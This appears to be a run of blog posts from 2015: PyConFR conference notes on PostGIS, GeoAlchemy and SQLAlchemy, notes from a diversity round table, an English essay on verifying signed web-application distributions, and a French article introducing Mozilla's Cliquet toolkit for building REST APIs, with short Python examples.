Il y a aussi des fonctions qui permettent de travailler sur ces données (transfomrations, projections, etc).
Indexs géographiques qui permettent de faire des recherches de manière performante.

POSTGIS

POSTGIS s'appuie sur postres pour offrir des types géographiques, des fonctions et des indexes (R-Tree), qui permettent de ranger les géométries dans des "boites englobantes".

Pour créer une base de données postgis, il faut faire un "create extension postgis", ce qui installe tout ce dont on a besoin.

il est possible d'apeller GEOMETRY(POINT) par exemple.

ST_GeomFromText('POINT(lat long)') permet de convertir un point dans un objet geometrie interne à postgres.

ST_DWithin permet de trouver les personnes qui sont autour d'un rayon donné.

L'ensemble des fonctions proposées par postgres commencent par ST_*

SQLAlchemy

Il s'agit d'une bote à outil qui permet de faire des requetes de manière simple. Il y a une philosophie forte.

Il ne sohaite pas cacher la base de données
C'est un language pour faire du SQL en python
Rien n'est caché.
Fourni un vocabulaire riche pour générer le SQL
L'objectif est de changer la manière dont on pense à SQL, redonner le gout du SQL aux developeurs.

Deux parties: - ORM - CORE

Il est possible d'utiliser simplement le core si l'on sohaite (sans utiliser l'ORM)

Core

Il est possible d'utiliser SQL Alchemy pour générer les tables à l'origine. Core permet d'utiliser des tables, et d'executer une insertion, depuis python. Il est possible de representer les requetes avec des methodes chainées select().where() etc.

Le "core" ne fait pas de mapping du tout, il manipule des Tables SQLA directement.

ORM

L'ORM fait, lui, du mapping. C'est cette couche que l'on va utiliser dans une application Web complexe par exemple.

il est possible de travailler avec une session Session() puis on effectue des opérations et on commit().

GeoAlchemy

Créé en 2009, pour supporter uniquement postgis.
Depuis, d'autres bases de données (MySQL, Spatialite, MySQL server) etc.
Réécriture depuis grace à la nouvelle API de SQLAlechemy, mais perte du support d'autres backends.
Finalement, retour sur POSTGIS uniquement, pour évite d'avoir à supporter les différences de tous les backends.

Features

Très simple de s'intégrer avec les features de POSTGIS, par exemple en déclarant une colonne en tant que "Géometrie".

Exemple: session.query(Lake).filter(Lake.geom.ST_Buffer(2).ST_Area) permet de lister l'ensemble des lacs avec une aire de 2 au moins.

S'intègre bien avec des services existants (shapely, pyramid, etc).

Utilisation de geojsondumps pour representer des features en geojson.

Status

Le projet est completement documenté sur read the docs. La documentation est assez complete et solide. Il est intégralement testé, sur differentes versions de python, sqlalchemy et postgres.

3 ou 4 developeurs actifs sur le projet, ça fonctionne plutôt bien. Pour

contribuer, il est possible de faire cela sur github.

Slides de la presentation sur http://erliem.net/talks/pyconfr2015

Resources:

https://pypi.python.org/pypi/Shapely - Manipulation and analysis of geometric objects in the Cartesian plane.

Question:

Dans les exemples geoalchemy, les données geométriques sont passées sous forme de chaine. Est-ce normal ? Oui.
Les rasters sont également supportés.

PyconFR 2015 — SQL Alchemy

2015-10-17T00:00:00+02:00

Note

Voici quelques notes prises durant la PyconFR 2015, à Pau. N'hésitez pas à les completer si besoin.

Speaker: David Allouche

SQL Alchemy vous permet de produire le SQL que vous voulez. Il faut que vous souhaitiez comprendre ce que va etre produit.

Déclaratif:

On créé des classes qui representent nos tables, et les liaisons entre les tables, en utilisant relationship (qui à énormement d'attributs).
On définit quelles osnt les clés étrangères entre les tables.
Puis on va définir les attributs qui sont liés entre les tables (relationship).
Pour définir des relations entre les Tables, il est possible d'utiliser des chaines de caractère relationship('OtherTable').
La session es tun concept important.
Lire efficacement. Attention à ne pas faire énormement de requetes avec L'ORM.

Performance SQL

Générer le SQL (python)
Ne pas faire énormement de petites requetes.

Il est possible de demander à la session de charger les données qui sont associées. (avec un joinedload). Par defaut, cela risque de charger l'ensemble des colonnes.

Pour la générer avec SQLAlchemy, il est possible de faire un .query(Table).join(Table).join(Table2).filter_by(field=value)

En pratique, le mieux est de lister clairemnet le nom des tables

2ème partie:

Pour de l'import de données,

first() fait une requete SQL. A éviter dans les boucles
session.flush() c'est quand la session écrit en base tout ce qui est en cours dans la transaction. Par default, la session fait un flush avant chaque requete.
une option backçpopulates mets à jour la liste des documents associés à une table qui à une foreign key. backref modifie implicitement la classe associée. Il est recommandé d'utiliser back_populates et non pas backref.
subqueryload permet de générer une requete séparée plutôt qu'une jointure.

PyconFR 2015 — Table ronde diversité

2015-10-17T00:00:00+02:00

Note

Voici quelques notes prises durant la PyconFR 2015, à Pau. N'hésitez pas à les completer si besoin.

Prise de notes: Gordon et Alexis

Présent·e·s: Jean Phillipe, Laurence (Directrice de l'école qui acueille la Pycon), Amandine, Vivianne, Anna (de django carrots) + representes de django girls bordeaux (Laurenne et Alexia).

JP — Pourquoi:On a eu une discussion sur la ML de l'AFPy suite à une décision de l'afpy de ne pas financer un évènement qui n'était pas ouvert à tous-tes (restreint aux femmes et personnes trans). Cette décision à été prise conformément a la charte de l'AFPY qui dit que les evènements promus sont ouverts à tous. Ce qui veut dire que cela n'inclue pas les évènement exclusifs. (Je n'ai jamais demandé de financement à l'AFPY. J'ai juste demandé la diffusion sur la mailing interne de la création de Pyladies Paris. Je ne sais pas d'où vient cette histoire de financement! Pyladies Paris)

Suite à ça, une modification de la charte à été proposée. Demain matin, la modification de la charte sera proposée lors de l'AG. Suite à la proposition de modification, les discussions se sont enchainées, avec des points de vue divergents. Cette table ronde vient donc dans ce contexte. I BD d'introduction: http://www.commitstrip.com/fr/2015/09/17/meanwhile-in-a-parallel-universe-2/

Tour de présentation:

Laurence directrice de l'école qui accueille d'évènement, docteure en Maths. Contente de voir que la tendance s'inverse un peu (de plus en plus de filles).
Vivianne, maitre de conférence en informatique à paris sud. Études dans un milieu assez masculin. Dans le domaine du developpement pour la recherche, ou des environnements techniques, c'est très masculin. Essaye de voir comment faire pour que les filles s'intéressent plus a l'informatique.
Amandine Neyrolle, diplomée d'école de commerce (plutot 50% fille/garcon dans ces fillières). Intégrée le monde de l'informatique par la suite en autodidacte et formations. Rencontré la créatrice de pyladies et discuté de ces questions.
Laurenne Chelan, organistrice des django girls bdx. Nouvelle dans cet univers. Travaille dans des musées de science depuis quelques années. L'idée de dj girs bdx part de l'idée de découvrir le code. Les djangogirls viennent de berlin, créé par ???.
Alexia Sumois. organisatrice de django girls bdx. Nouvelle dans le milieu du code. Les conférences d'aujourd'hui on donné envie d'apprendre.
Anna, créatrice de 4ideas. Essaye de faire en sorte que plus de femmes viennent dans l'IT. En reconversion pro. Choisi ce domaine il ya un an. Trouve que ce sujet est vraiment extremement important, et sur lequel il est possible de faire quelque chose, et d'influencer positivement. L'idée étant de démystifier l'IT, et laisser le choix aux femmes de choisir cette profession.
Jean Phillipe Campguillhem, secrétaire de l'AFPY

Pourquoi Django Girls ?

Alexia — Le déclencheur de cette aventure vient des goodies (!). La décoration de l'évènement a attiré l'attention et donné envie de creuser.

Laurenne — C’est pour ça qu’on se pose la question « comment attirer ces publics, ces personnes-là ? », importance de l’image qu’on renvoie. Ce n’est pas tant une question de genre, mais d’initié·e·s : on a souvent peur d’entrer dans ce milieu. Django-girls vise une plus grande bienveillancet Carte de la convivialité, chaleureux, et facile d'accès pour les débutants. Tout est livré clé en main, et l'évènement est facile à prendre en main. Le 28 oct à bordeau, recherche de coachs / sponsors pour l'évènement. http://djangogirls.com/bordeaux

Laurence — Aspect macho présent dans la communication de l’école (pas forcément explicite). « On a toujours dessiné des symboles de métiers identifiés par des garçons »

Laurenceu — Il y a une partie d'inconscient dans l'ensemble de l'enseignement qui est donné. Il y a peu de candidates qui essayent. Pas question de discrimination positive puisque cela a des effets indésirables (communautarisme). La question est tout de meme posée, mais il est impensable d'accepter des gens grace / a cause de leur genre. L'ambiance change lorsqu'il y a de la mixité. À la recherche d’idées pour faire venir plus de candidates.

Viviane — En tant que femme, on reçoit en permanence le message que ce métier n’est pas fait pour nous. Ces messages ont un impact, le résultat est que les filles ne vont pas dans les écoles d’informatiques. Il faut aller convaincre les jeunes filles que c’est aussi fait pour elles. Ça passe par changer les plaquettes. Il faut réussir à changer l'image existante des confs / communautés. Un développeur peut aussi etre une développeuse. Dans l'assemblée, on se rend compte que certaines femmes sont en dehors du parcours. Il faut qu'en tant que communauté on soit capables d'accueillir les nouvelles / nouveaux. C’est en ayant une diversité qu’on parviendra à changer l’image du métier. Les rencontres pyladies permettent aussi de rencontrer d'autres femmes qui ont les mêmes problématiques. Accompagner les nouvelles entrantes pour trouver du boulot, découvrir l'AFPY et les initatives existantes. Les initiatives existantes django girls / pyladies est très important.

Amandine — C’est pourquoi ce genre d’évènements non-mixtes permet de faire des séances de rattrapage pour permettre d’intégrer la communauté dans son ensemble. C’est le point clé pour faire accepter ce genre d’initiatives.

Laurenne — DjangoGirls et Django Carrots ne sont pas des évènements excluants. Ils sont simplement orientés en priorité aux femmes. Sur la question de « comment amener des jeunes filles vers ces études-là », ça se joue bien avant, dans l’enfance, bien avant l’école. cf les jeux genrés. Il faut travailler à ce niveau-là.

Anna — Pour illustrer ce que dit Laurenne, l'importance des clichés existants. Avant le mi-80s, il y avait autant de femmes que dans d'autres domaines. Si on regarde les stats, dans tousles autres domaines, le pourcentage de femmes augmente. Et en IT, en 84 il y a un pic qui inverse la tendance. Ce sont des stats américaines. A priori cela s'applique aussi en Europe. En IT, la culture qui à été créé autour des hackers qui ont des super pouvoirs, mangent des pizzas, etc. Ces clichés ont influencé le monde. Nous ne sommes pas complètement autonomes, et nous sommes influencés par la culture autour de nous. Les dommages qui ont été fait dans le domaine de l'IT sont graves, et il est important de renverser la tendance. La question de l'image est centrale. Les personnes ont besoin de place pour faire leurs évènements. Il est important de comprendre et respecter que les autres veuillent faire de la discrimination positive. Ce sont des actions qui sont supportées par la France. Ce sont des valeurs qui sont beaucoup lus fortes en France qu'ailleurs (Anna souligne qu'elle est Polonaise). On devrait respecter ce droit.

Vivianne — Certaines evènements sont non-mixtes (pour les personnes qui s'identifient comme des femmes). Ce ne doit pas etre les seules initiatives. Elle est pour la mixté. PyLadies est assez spécifique : ce n’est pas de la formation, mais principalement des évènements tournés autour du réseau. Il est important d'avoir un endroit ou les jeunes femmes seront moins imprésionnées. Les situations exposées dans la BD sont réelles. De se retrouver dans un environnement où elles sont sûres qu’elles ne subiront pas de micro-agressions.

Laurence — Témoignage d'une mère qui dit à sa fille, en passant devant un panneau de l'école, mentionnant maths et informatique, et qui dit à sa fille « oh non, c'est pas pour toi ça » . On dit « attention les garçons, vous devez être sympas avec les filles ». Les garçons ont envie que ça se passe bien avec les filles.

JP — Sans revenir sur les décisions qui ont été prises, nous n'avons pas dit que nous étions contre ces évènements (à l'AFPY). A plusieurs reprises, j'ai du faire des blagues sexistes. Évidemment qu'on est mieux ensemble. Pour revenir sur la discussion de la mailing-list, je me suis rendu compte que j'avais un regard biaisé. Si on en est la, c'est quil y a énormement de travail. Que faire, du coup ? En tant qu'hommes ? Qu'association ? Si il est necessaire de créer une zone de confort / sécurité, c'est qu'il y a une zone d'inconfort / insécurité qui est forte. Les couleurs, les jolis goodies, sont le sommet de l’iceberg. Rappel de l'éxistence du Code of Conduct : il y a déjà eu des incidents par le passé. On passe la parole à Florent, qui est à l’origine du CoC. Remerciement envers les intervenantes.

Florent (vice secrétaire de l'AFPY) — Comme le dit JP, un code of conduct est affiché devant toutes les portes et à l'entrée. Tout le monde n’aimait pas forcément l’idée d’en avoir, on a fini par trancher. Le but est d’avoir des endroits safes. Avant d’avoir un CoC, on ne peut pas dire qu’on soit safes, envers l'ensemble des minorités. On a écrit le CoC en conséquence des agressions. Aujourd’hui, pas de tolérance pour des comportements qui n’ont pas lieu d’être (qu’on a définis comme tels). Ça fonctionne sur la dénonciation lorsque l’on est témoin de ça. On n’a pas vraiment de mal à rencontrer des femmes, mais plus de mal à faire comprendre qu’elles sont bienvenues. Impact important de blagues sexistes, qu’on défend comme « c’est pour rire ». Merci de lire le Code of Conduct. Les blagues sexistes etc. ne sont pas les bienvenues. Merci de réagir lors de ces cas.

Questions.

Questiond de Gawel: Question pour Amandine. Est-ce que tu te sens bien à l'AFPY ? Si non, que faire pour que tu te sente mieux ?

Amandine — Oui je me sens bien, est-ce qu’il y a eu des évènements ? oui, sans doute mais j’y suis aguerrie, donc je me rends peu compte. Qu’est-ce qu’on peut faire ? L’idée du CoC est d’aller à l’encontre des comportements négatifs, mais l’idée derrière est une ouverture à la différence dans son ensemble, promouvoir l’ouverture à l’autre et à la différence. L’enjeu culturel est d’arriver à changer d’état d’esprit et d’identifier ces biais cognitifs. Il faudrait pas qu’on se dise « ho là là, il y a une fille, faut rien dire sinon je vais me faire taper » Il faut cultiver la différence. et être curieux/se.

Question : « c’est pas fait pour moi », mais plutôt « je suis mauvais, donc je dois travailler », on en revient à l’importance de l’éducation. Il faut continuer de pointer du doigt les problèmes. Je suis aussi membre d’un LUG, nous sommes entre hommes diplomés blancs de 30 à 40 ans. La réflexion sur les plaquettes pas accueillantes est pertinente : le site de l’asso est très masculin.

Question de Bruno. Pour l’école: quand j’étais étudiant, 20% de filles. (Aujourd’hui on est partis de 7/8% pour arriver à 15%). Est-ce que les filles réussissent plus ?

Laurence — on n’a pas de stats, mais elles posent moins de problèmes. Les filles sont favorisées par les employeurs.

Vivianne — la motivation des filles à la sortie est identique aux garçons, mais tout n’est pas rose. En entretien par exemple, ils sont faits par des hommes, mais au niveau des stats, le nombre de femmes qui quittent le milieu est important. Effort à faire au niveau de la communauté, des entreprises. Schémas masculins, mais sur le long terme, on subit des agressions. Difficile de rester dans le métier et faire une carrière intéressante, à compétences/motivation identiques aux hommes. Il faut en avoir conscience

Question de Benoit: il y a peut-être une façon de créer des lieux/évènements protégés, en utilisant ceux qui existent déjà. Est-ce qu’on peut aller organiser des évènements dans des écoles/lycées, des endroits où les gens se sentent déjà à l’aise, où les populations sont plus représentées ?

Vivianne — ça se fait. En tant qu’enseignante, dès que j’ai une occasion, que ce soit pour aller chercher des JF ou des étudiants maths/infos, même si c’est ouvert à tous, je le fais. Si c’est que des hommes, les femmes n’ont pas envie d’y aller.

Laurenne — c’est quelque chose qui se fait beaucoup. On met en avant des femmes chercheuses dès qu’on le peut.

Question d'Alexis : je suis très content qu’il y ait cette discussion qui se fasse. Question par rapport aux discriminations positives, qu’on a pu voir par le passé (notamment lors de conférences). Difficile de dire « on va préférer des femmes ». Question irrésolue, parce que pour faire évoluer, on a besoin d'initier quelque chose, d’essayer. Mais ça a un côté dérangeant.

Vivianne — à la PyCon (US), j’ai été impressionnée du nombre de femmes qui parlaient. On va pas mettre un quota, ça serait stupide, on va forcer personne. Mais il faut en avoir conscience. Cette année, on est 4 oratrices, y’a du travail à faire. En tant qu’hommes, il faut aussi se mettre en retrait et inviter des femmes à en parler à notre place. Faire le pas d'aller faire un exposé dans une communauté où on ne se sent pas à sa place (même si on lutte contre) est difficile. Inviter des gens, sans forcément passer par un énorme processus. Ça passe par des events comme PyLadies.

Anna — pour les personnes par encore convaincues, juste apres le droit de vote des femmes en 46, à l'assemblée nationale il y avait très peu de femmes. Puis en 93, 6.1% apres que des mesures aient été prises. Ensuite de femmes puis vers 20% Les choses ne vont pas se changer toutes seules. Il est necessaire d'avoir du temps pour faire évoluer les choses. Il est important de noter que PyconFR fait déjà des choses. Et lors de django carrots, je me suis sentie très accueillie. J'ai eu beaucoup de très bonnes expériences avec des personnes qui étaient prêtes à aider.

JP — Remerciement pour Rémy qui abat un travail de ouf. C'est grace à Rémy si il y a django carrots demain. Il faut faire des choses. :-) Merci !

Web distribution signing

2015-10-12T00:00:00+02:00

I'm not a crypto expert, nor pretend to be one. These are thoughts I want to share with the crypto community to actually see if any solution exists to solve this particular problem.

One often pointed flaw in web-based cryptographic applications is the fact that there is no way to trust online software distributions. Put differently, you don't actually trust the software authors but are rather trusting the software distributors and certificate authorities (CAs).

I've been talking with a few folks in the past months about that and they suggested me to publish something to discuss the matter. So here I come!

The problem (Attack vectors)

Let's try to describe a few potential attacks:

Application Authors just released a new version of their open source web crypto messaging application. An Indie Hoster installs it on their servers so a wide audience can actually use it.

Someone alters the files on Indie Hoster servers, effectively replacing them with other altered files with less security properties / a backdoor. This someone could either be an Evil Attacker which found its way trough, the Indie Hoster or a CDN which delivers the files,

Trusted Certificate Authorities ("governments" or "hacking team") can also trick the User Agents (i.e. Firefox) into thinking they're talking to Indie Hoster even though they're actually talking to a different server.

Altered files are then being served to the User Agents, and Evil Attacker now has a way to actually attack the end users.

Problem Mitigation

Part of the problem is solved by the recently introduced Sub Resource Integrity (SRI). To quote them: "[it] defines a mechanism by which user agents may verify that a fetched resource has been delivered without unexpected manipulation.".

SRI is a good start, but isn't enough: it ensures the assets (JavaScript files, mainly) loaded from a specific HTML page are the ones the author of the HTML page intends. However, SRI doesn't allow the User Agent to ensure the HTML page is the one he wants.

In other words, we miss a way to create trust between Application Authors and User Agents. The User-Agent currently has to trust the Certificate Authorities and the delivery (Indie Hoster).

For desktop software distribution: Crypto Experts audit the software, sign it somehow and then this signature can be checked locally during installation or runtime. It's not automated, but at least it's possible.

For web applications, we don't have such a mechanism, but it should be possible. Consider the following:

App Authors publish a new version of their software; They provide a hash of each of their distributed files (including the HTML files);
Crypto Experts audit these files and sign the hashes somehow;
User Agents can chose to trust some specific Crypto Experts;
When a User Agent downloads files, it checks if they're signed by a trusted party.

Chosing who you trust

In terms of user experience, handling certificates is hard, and that's where the community matters. Distributions such as Tails could chose who they trust to verify the files, and issue warnings / refuse to run the application in case files aren't verified.

But, as highligted earlier, CAs are hard to trust. A new instance of the same CA system wouldn't make that much differences, expect the fact that distributions could ship with a set of trusted authorities (for which revocation would still need to be taken care of).

[...] users are vulnerable to MitM attacks by the authority, which can vouch for, or be coerced to vouch for, false keys. This weakness has been highlighted by recent CA scandals. Both schemes can also be attacked if the authority does not verify keys before vouching for them.

-- SoK : Secure Messaging;

It seems that some other systems could allow for something more reliable:

Melara et al proposed CONIKS, using a series of chained commitments to Merkle prefix trees to build a key directory [...] for which individual users can efficiently verify the consistency of their own entry in the directory without relying on a third party.

This “self- auditing log” approach makes the system partially have no auditing required (as general auditing of non-equivocation is still required) and also enables the system to be privacy preserving as the entries in the directory need not be made public. This comes at a mild bandwidth cost not reflected in our table, estimated to be about 10 kilobytes per client per day for self-auditing.

-- SoK : Secure Messaging;

Now, I honestly have no idea if this thing solves the whole problem, and I'm pretty sure this design has many security problems attached to it.

However, that's a problem I would really like to see solved one day, so here the start of the discussion, don't hesitate to get in touch!

Addendum

It seems possible to increase the level a user has in a Web Application by adding indicators in the User-Agent. For instance, when using an application that's actually signed by someone considered trustful by the User-Agent (or the distributor of the User-Agent), a little green icon could be presented to the User, so they know that they can be confident about this.

A bit like User-Agents do for SSL, but for the actual signature of the files being viewed.

Service de nuages : Pourquoi avons-nous fait Cliquet ?

2015-07-14T00:00:00+02:00

Cet article est repris depuis le blog « Service de Nuages » de mon équipe à Mozilla

tldr; Cliquet est un toolkit Python pour construire des APIs, qui implémente les bonnes pratiques en terme de mise en production et de protocole HTTP.

Les origines

L'objectif pour le premier trimestre 2015 était de construire un service de stockage et de synchronisation de listes de lecture.

Au démarrage du projet, nous avons tenté de rassembler toutes les bonnes pratiques et recommandations, venant de différentes équipes et surtout des derniers projets déployés.

De même, nous voulions tirer parti du protocole de Firefox Sync, robuste et éprouvé, pour la synchronisation des données «offline».

Plutôt qu'écrire un énième article de blog, nous avons préféré les rassembler dans ce qu'on a appellé «un protocole».

Comme pour l'architecture envisagée nous avions deux projets à construire, qui devaient obéir globalement à ces mêmes règles, nous avons décidé de mettre en commun l'implémentation de ce protocole et de ces bonnes pratiques dans un «toolkit».

Cliquet est né.

Les intentions

Quelle structure JSON pour mon API ? Quelle syntaxe pour filtrer la liste via la querystring ? Comment gérer les écritures concurrentes ? Et synchroniser les données dans mon application cliente ?

Désormais, quand un projet souhaite bénéficier d'une API REST pour stocker et consommer des données, il est possible d'utiliser le protocole HTTP proposé et de se concentrer sur l'essentiel. Cela vaut aussi pour les clients, où la majorité du code d'interaction avec le serveur est réutilisable.

Comment pouvons-nous vérifier que le service est opérationnel ? Quels indicateurs StatsD ? Est-ce que Sentry est bien configuré ? Comment déployer une nouvelle version sans casser les applications clientes ?

Comme Cliquet fournit tout ce qui est nécessaire pour être conforme avec les exigences de la mise en production, le passage du prototype au service opérationnel est très rapide ! De base le service répondra aux attentes en terme supervision, configuration, déploiement et dépréciation de version. Et si celles-ci évoluent, il suffira de faire évoluer le toolkit.

Quel backend de stockage pour des documents JSON ? Comment faire si l'équipe de production impose PostgreSQL ? Et si on voulait passer à Redis ou en mémoire pour lancer les tests ?

En terme d'implémentation, nous avons choisi de fournir des abstractions. En effet, nous avions deux services dont le coeur consistait à exposer un CRUD en REST, persistant des données JSON dans un backend. Comme Pyramid et Cornice ne fournissent rien de tout prêt pour ça, nous avons voulu introduire des classes de bases pour abstraire les notions de resource REST et de backend de stockage.

Dans le but de tout rendre optionnel et «pluggable», tout est configurable depuis le fichier .ini de l'application. Ainsi tous les projets qui utilisent le toolkit se déploieront de la même manière : seuls quelques éléments de configuration les distingueront.

Le protocole

Est-ce suffisant de parler d'«API REST» ? Est-ce bien nécessaire de relire la spec HTTP à chaque fois ? Pourquoi réinventer un protocole complet à chaque fois ?

Quand nous développons un (micro)service Web, nous dépensons généralement beaucoup trop d'énergie à (re)faire des choix (arbitraires).

Nul besoin de lister ici tout ce qui concerne la dimension de la spécification HTTP pure, qui nous impose le format des headers, le support de CORS, la négocation de contenus (types mime), la différence entre authentification et autorisation, la cohérence des code status...

Les choix principaux du protocole concernent surtout :

Les resources REST : Les deux URLs d'une resource (pour la collection et les enregistrements) acceptent des verbes et des headers précis.
Les formats : le format et la structure JSON des réponses est imposé, ainsi que la pagination des listes ou la syntaxe pour filtrer/trier les resources via la querystring.
Les timestamps : un numéro de révision qui s'incrémente à chaque opération d'écriture sur une collection d'enregistrements.
La synchronisation : une série de leviers pour récupérer et renvoyer des changements sur les données, sans perte ni collision, en utilisant les timestamps.
Les permissions : les droits d'un utilisateur sur une collection ou un enregistrement (encore frais et sur le point d'être documenté) [1].
Opérations par lot: une URL qui permet d'envoyer une série de requêtes décrites en JSON et d'obtenir les réponses respectives.

Dans la dimension opérationnelle du protocole, on trouve :

La gestion de version : cohabitation de plusieurs versions en production, avec alertes dans les entêtes pour la fin de vie des anciennes versions.
Le report des requêtes : entêtes interprétées par les clients, activées en cas de maintenance ou de surchage, pour ménager le serveur.
Le canal d'erreurs : toutes les erreurs renvoyées par le serveur ont le même format JSON et ont un numéro précis.
Les utilitaires : URLs diverses pour répondre aux besoins exprimés par l'équipe d'administrateurs (monitoring, metadonnées, paramètres publiques).

Ce protocole est une compilation des bonnes pratiques pour les APIs HTTP (c'est notre métier !), des conseils des administrateurs système dont c'est le métier de mettre à disposition des services pour des millions d'utilisateurs et des retours d'expérience de l'équipe de Firefox Sync pour la gestion de la concurrence et de l'«offline-first».

Il est documenté en détail.

Dans un monde idéal, ce protocole serait versionné, et formalisé dans une RFC. En rêve, il existerait même plusieurs implémentations avec des technologies différentes (Python, Go, Node, etc.). [2]

[1]	Voir notre article dédié sur les permissions

[2]	Rappel: nous sommes une toute petite équipe !

Le toolkit

Choix techniques

Cliquet implémente le protocole en Python (2.7, 3.4+, pypy), avec Pyramid [3].

Pyramid est un framework Web qui va prendre en charge tout la partie HTTP, et qui s'avère pertinent aussi bien pour des petits projets que des plus ambitieux.

Cornice est une extension de Pyramid, écrite en partie par Alexis et Tarek, qui permet d'éviter d'écrire tout le code boilerplate quand on construit une API REST avec Pyramid.

Avec Cornice, on évite de réécrire à chaque fois le code qui va cabler les verbes HTTP aux méthodes, valider les entêtes, choisir le sérialiseur en fonction des entêtes de négociation de contenus, renvoyer les codes HTTP rigoureux, gérer les entêtes CORS, fournir la validation JSON à partir de schémas...

Cliquet utilise les deux précédents pour implémenter le protocole et fournir des abstractions, mais on a toujours Pyramid et Cornice sous la main pour aller au delà de ce qui est proposé !

[3]	Au tout début nous avons commencé une implémentation avec Python-Eve (Flask), mais n'étions pas satisfaits de l'approche pour la configuration de l'API. En particulier du côté magique.

Concepts

Bien évidemment, les concepts du toolkit reflètent ceux du protocole mais il y a des éléments supplémentaires:

Les backends : abstractions pour le stockage, le cache et les permissions (ex. PostgreSQL, Redis, en-mémoire, ...)
La supervision : logging JSON et indicateurs temps-réel (StatsD) pour suivre les performances et la santé du service.
La configuration : chargement de la configuration depuis les variables d'environnement et le fichier .ini
La flexibilité : dés/activation ou substitution de la majorité des composants depuis la configuration.
Le profiling : utilitaires de développement pour trouver les goulets d'étranglement.

Proportionnellement, l'implémentation du protocole pour les resources REST est la plus volumineuse dans le code source de Cliquet. Cependant, comme nous l'avons décrit plus haut, Cliquet fournit tout un ensemble d'outillage et de bonnes pratiques, et reste donc tout à fait pertinent pour n'importe quel type d'API, même sans manipulation de données !

L'objectif de la boîte à outils est de faire en sorte qu'un développeur puisse constuire une application simplement, en étant sûr qu'elle réponde aux exigeances de la mise en production, tout en ayant la possibilité de remplacer certaines parties au fur et à mesure que ses besoins se précisent.

Par exemple, la persistence fournie par défault est schemaless (e.g JSONB), mais rien n'empêcherait d'implémenter le stockage dans un modèle relationnel.

Comme les composants peuvent être remplacés depuis la configuration, il est tout à fait possible d'étendre Cliquet avec des notions métiers ou des technologies exotiques ! Nous avons posé quelques idées dans la documentation de l'éco-système.

Dans les prochaines semaines, nous allons introduire la notion d'«évènements» (ou signaux), qui permettraient aux extensions de s'interfacer beaucoup plus proprement.

Nous attachons beaucoup d'importance à la clareté du code, la pertinence des patterns, des tests et de la documentation. Si vous avez des commentaires, des critiques ou des interrogations, n'hésitez pas à nous en faire part !

Cliquet, à l'action.

Nous avons écrit un guide de démarrage, qui n'exige pas de connaître Pyramid.

Pour illustrer la simplicité et les concepts, voici quelques extraits !

Étape 1

Activer Cliquet:

import cliquet
from pyramid.config import Configurator

def main(global_config, **settings):
    config = Configurator(settings=settings)

    cliquet.initialize(config, '1.0')
    return config.make_wsgi_app()

À partir de là, la plupart des outils de Cliquet sont activés et accessibles.

Par exemple, les URLs hello (/v1/) ou supervision (/v1/__heartbeat__). Mais aussi les backends de stockage, de cache, etc. qu'il est possible d'utiliser dans des vues classiques Pyramid ou Cornice.

Étape 2

Ajouter des vues:

def main(global_config, **settings):
    config = Configurator(settings=settings)

    cliquet.initialize(config, '1.0')
    config.scan("myproject.views")
    return config.make_wsgi_app()

Pour définir des resources CRUD, il faut commencer par définir un schéma, avec Colander, et ensuite déclarer une resource:

from cliquet import resource, schema

class BookmarkSchema(schema.ResourceSchema):
    url = schema.URL()

@resource.register()
class Bookmark(resource.BaseResource):
    mapping = BookmarkSchema()

Désormais, la resource CRUD est disponible sur /v1/bookmarks, avec toutes les fonctionnalités de synchronisation, filtrage, tri, pagination, timestamp, etc. De base les enregistrements sont privés, par utilisateur.

$ http GET "http://localhost:8000/v1/bookmarks"
HTTP/1.1 200 OK
...
{
    "data": [
        {
            "url": "http://cliquet.readthedocs.org",
            "id": "cc103eb5-0c80-40ec-b6f5-dad12e7d975e",
            "last_modified": 1437034418940,
        }
    ]
}

Étape 3

Évidemment, il est possible choisir les URLS, les verbes HTTP supportés, de modifier des champs avant l'enregistrement, etc.

@resource.register(collection_path='/user/bookmarks',
                   record_path='/user/bookmarks/{{id}}',
                   collection_methods=('GET',))
class Bookmark(resource.BaseResource):
    mapping = BookmarkSchema()

    def process_record(self, new, old=None):
        if old is not None and new['device'] != old['device']:
            device = self.request.headers.get('User-Agent')
            new['device'] = device
        return new

Plus d'infos dans la documentation dédiée !

Note

Il est possible de définir des resources sans validation de schema. Voir le code source de Kinto.

Étape 4 (optionelle)

Utiliser les abstractions de Cliquet dans une vue Cornice.

Par exemple, une vue qui utilise le backend de stockage:

from cliquet import Service

score = Service(name="score",
                path='/score/{game}',
                description="Store game score")

@score.post(schema=ScoreSchema)
def post_score(request):
    collection_id = 'scores-' + request.match_dict['game']
    user_id = request.authenticated_userid
    value = request.validated  # c.f. Cornice.

    storage = request.registry.storage
    record = storage.create(collection_id, user_id, value)
    return record

Vos retours

N'hésitez pas à nous faire part de vos retours ! Cela vous a donné envie d'essayer ? Vous connaissez un outil similaire ? Y-a-t-il des points qui ne sont pas clairs ? Manque de cas d'utilisation concrets ? Certains aspects mal pensés ? Trop contraignants ? Trop de magie ? Overkill ?

Nous prenons tout.

Points faibles

Nous sommes très fiers de ce que nous avons construit, en relativement peu de temps. Et comme nous l'exposions dans l'article précédent, il y a du potentiel !

Cependant, nous sommes conscients d'un certain nombre de points qui peuvent être vus comme des faiblesses.

La documentation d'API : actuellement, nous n'avons pas de solution pour qu'un projet qui utilise Cliquet puisse intégrer facilement toute la documentation de l'API obtenue.
La documentation : il est très difficile d'organiser la documentation, surtout quand le public visé est aussi bien débutant qu'expérimenté. Nous sommes probablement victimes du «curse of knowledge».
Le protocole : on sent bien qu'on va devoir versionner le protocole. Au moins pour le désolidariser des versions de Cliquet, si on veut aller au bout de la philosophie et de l'éco-système.
Le conservatisme : Nous aimons la stabilité et la robustesse. Mais surtout nous ne sommes pas tout seuls et devons nous plier aux contraintes de la mise en production ! Cependant, nous avons très envie de faire de l'async avec Python 3 !
Publication de versions : le revers de la médaille de la factorisation. Il arrive qu'on préfère faire évoluer le toolkit (e.g. ajouter une option) pour un point précis d'un projet. En conséquence, on doit souvent releaser les projets en cascade.

Quelques questions courantes

Pourquoi Python ?

On prend beaucoup de plaisir à écrire du Python, et le calendrier annoncé initialement était très serré: pas question de tituber avec une technologie mal maitrisée !

Et puis, après avoir passé près d'un an sur un projet Node.js, l'équipe avait bien envie de refaire du Python.

Pourquoi pas Django ?

On y a pensé, surtout parce qu'il y a plusieurs fans de Django REST Framework dans l'équipe.

On l'a écarté principalement au profit de la légèreté et la modularité de Pyramid.

Pourquoi pas avec un framework asynchrone en Python 3+ ?

Pour l'instant nos administrateurs système nous imposent des déploiements en Python 2.7, à notre grand désarroi /o\

Pour Reading List, nous avions activé gevent.

